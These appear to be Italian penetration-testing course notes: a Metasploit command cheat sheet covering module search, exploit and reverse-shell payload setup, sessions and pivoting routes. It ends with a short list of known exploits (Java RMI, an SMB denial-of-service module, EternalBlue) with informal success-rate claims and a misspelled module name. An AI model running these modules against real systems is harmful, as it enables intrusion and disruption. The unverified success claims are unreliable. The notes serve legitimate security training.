

S7L2



Conte irco/m

Data: 12/11/24

INFORMAZIONI PRINCIPALI

Comandi utili per Metasploit™

Ricerca e Navigazione dei Moduli

- show exploits
Mostra tutti gli exploit disponibili.
- show payloads
Mostra tutti i payload compatibili con l'exploit selezionato.
- show auxiliary
Mostra tutti i moduli ausiliari (scanner, fuzzer, brute-forcing, ecc.).
- show post
Mostra tutti i moduli post-exploitation.
- search <keyword>
Cerca moduli usando parole chiave (es. search windows o search samba platform).
- search cve:<CVE_ID>
Cerca moduli relativi a un CVE specifico (es. search cve:2024-1234).
- search platform:<piattaforma>
Filtra i risultati della ricerca per piattaforma (es. search platform
-).
- search type:<modulo>
Filtra i risultati per tipo di modulo (exploit, payload, post, auxiliary). Esempio: search type
- .
- use <exploit_path>
Seleziona un exploit specifico da usare (es. use exploit/windows/smb/ms17_010_eternalblue).
- info <modulo>
Mostra le informazioni dettagliate di un modulo specifico (es. info exploit/windows/smb/ms17_010_eternalblue).

Configurazione di Exploit e Payload

- `show options`
Mostra tutte le opzioni configurabili per il modulo selezionato.
- `set RHOST <IP_vittima>`
Imposta l'IP del target per l'attacco.
- `set LHOST <IP_locale>`
Imposta l'IP della macchina attaccante per ricevere la connessione.
- `set RPORT <porta>`
Specifica la porta del target da utilizzare per l'attacco.
- `set TARGET <numero>`
Seleziona un target specifico per l'exploit (mostrato con `show targets`).
- `show targets`
Elenca i target disponibili per l'exploit selezionato.
- `set PAYLOAD <payload_path>`
Imposta il payload da usare per l'exploit (es. `set PAYLOAD windows/meterpreter/reverse_tcp`).
- `show payloads`
Mostra i payload disponibili per l'exploit selezionato.
- `set LPORT <porta>`
Specifica la porta locale per ricevere la connessione del payload.
- `unset <opzione>`
Rimuove un'opzione impostata.
- `setg <opzione> <valore>`
Imposta un'opzione globale che vale per tutti i moduli (es. `setg LHOST 192.168.1.1`).
- `unsetg <opzione>`
Rimuove un'opzione globale.

Esecuzione e Controllo dell'Exploit

- `exploit`
Avvia l'attacco. Alcuni moduli possono essere eseguiti anche con `run`.
- `run`
Esegue il modulo attuale (utile per moduli ausiliari e post-exploitation).
- `check`
Controlla se il target è vulnerabile all'exploit selezionato.
- `autocheck true/false`
Attiva o disattiva il controllo automatico di vulnerabilità per l'exploit (set `autocheck false` per forzare l'attacco senza verifica).

Gestione delle Sessioni

- `sessions -l`
Elenca tutte le sessioni attive.
- `sessions -i <ID>`
Interagisce con una sessione specifica, identificata dal suo ID.
- `sessions -k <ID>`
Termina una sessione specifica, identificata dal suo ID.

- sessions -u <ID>
Effettua un upgrade della sessione specificata a Meterpreter, se possibile.
- sessions -K
Termina tutte le sessioni attive.

Gestione dei Lavori in Background

- jobs -l
Elenca tutti i lavori attivi in background.
- jobs -k <ID>
Termina un lavoro specifico in background, identificato dal suo ID.
- jobs -K
Termina tutti i lavori in background.
- bg
Esegue l'exploit o il modulo in background, mantenendo la console libera per altri comandi.

Comandi di Utilità

- back
Torna al menu principale senza uscire dal modulo corrente.
- exit
Chiude Metasploit.
- help
Mostra una lista completa dei comandi disponibili in Metasploit.
- save
Salva la configurazione attuale di Metasploit (utile per salvare opzioni impostate con setg).
- db_status
Controlla lo stato del database (utile per Metasploit connesso a un database di vulnerabilità).
- workspace <nome_workspace>
Passa a un workspace specifico (utile per organizzare attività multiple).
- db_nmap <opzioni>
Esegue una scansione Nmap e salva i risultati nel database di Metasploit.
- route add <subnet> <netmask> <session_id>
Aggiunge una route per una sessione Meterpreter, utile per muoversi lateralmente in una rete.
- route remove <subnet> <netmask>
Rimuove una route aggiunta per una sessione.
- load <plugin>
Carica un plugin di Metasploit, per estendere le funzionalità (es. load db_driver per il database).
- unload <plugin>
Rimuove un plugin caricato.
- irb
Entra nella console IRB di Ruby per eseguire script Ruby personalizzati all'interno di Metasploit.

Exploit utili

“Metermeter per server Java” Controllo completo macchina Metasploitable2

use exploit/multi/misc/java_rmi_server

```
exploit(multi/misc/java_rmi_server) >
```

Modulo ausiliario per dosing di Windows 10 Meta* su ~Samba~

use auxiliary/dos/windows/smb/ms09_001_write

```
auxiliary(dos/windows/smb/ms09_001_write) >
```

Controllo completo- Windows 7 (funziona 100% eternal blue)-(tentativi probabili su Win 10 90% funzionante) use exploit/windows/smb/ms17_010_eternablue

```
exploit(windows/smb/ms17_010_eternablue) >
```

Eternal Blue (32 bit only? testing needed) windows 10** funziona 100%

use exploit/windows/smb/ms17_010_psexec

```
_010_psexec  
[*] No payload configured, defaulting to windows/m  
msf6 exploit(windows/smb/ms17_010_psexec) >
```